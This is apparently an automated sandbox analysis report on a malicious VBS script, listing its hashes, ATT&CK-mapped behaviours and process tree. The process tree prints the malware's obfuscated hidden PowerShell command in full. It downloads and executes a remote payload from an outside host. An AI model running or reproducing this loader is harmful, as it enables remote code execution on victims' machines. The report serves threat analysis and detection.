3853dfa3da45f97cfe55c9ed4deb91da5ff2dd64727d0a6931f19e3cf6c362b2

Analysis

max time kernel
65s
max time network
23s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 01:46

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General

Target

7c90be507201a13383ab3f2eaebc6e8ddef40981892ee4464a16b4e04c455487.vbs
Size

5KB
MD5

be821d48efa0a9eb55545e3130ddb4c1
SHA1

21c3bf46f4a2f5da81069bc82cacd5e68afa0e78
SHA256

7c90be507201a13383ab3f2eaebc6e8ddef40981892ee4464a16b4e04c455487
SHA512

8a4a4aecfb85bbafca7a0827937c6322a5992df78d606b9b0dc9124ec9d27e33853a645586c132337c53bb9f2c82bf4aaf76290b8206f7fd96e93c0f7155bd33
SSDEEP

48:epIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIrOTT+:etPXyTuGZOrHTu5ViajP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 2900 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2900 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2900 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2900 powershell.exe

flow	pid	process
3	2900	powershell.exe

pid	process
2900	powershell.exe

pid	process
2900	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2900	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2768 wrote to memory of 2900	2768	WScript.exe	powershell.exe
PID 2768 wrote to memory of 2900	2768	WScript.exe	powershell.exe
PID 2768 wrote to memory of 2900	2768	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7c90be507201a13383ab3f2eaebc6e8ddef40981892ee4464a16b4e04c455487.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='repoooos(''http://megamart.mywire.org:60027/marco/dddd.mp4'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2900-4-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

Filesize
4KB

Download
memory/2900-5-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2900-6-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2900-7-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-8-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-9-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-10-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-11-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-15-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

Filesize
4KB

Download
memory/2900-16-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-17-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download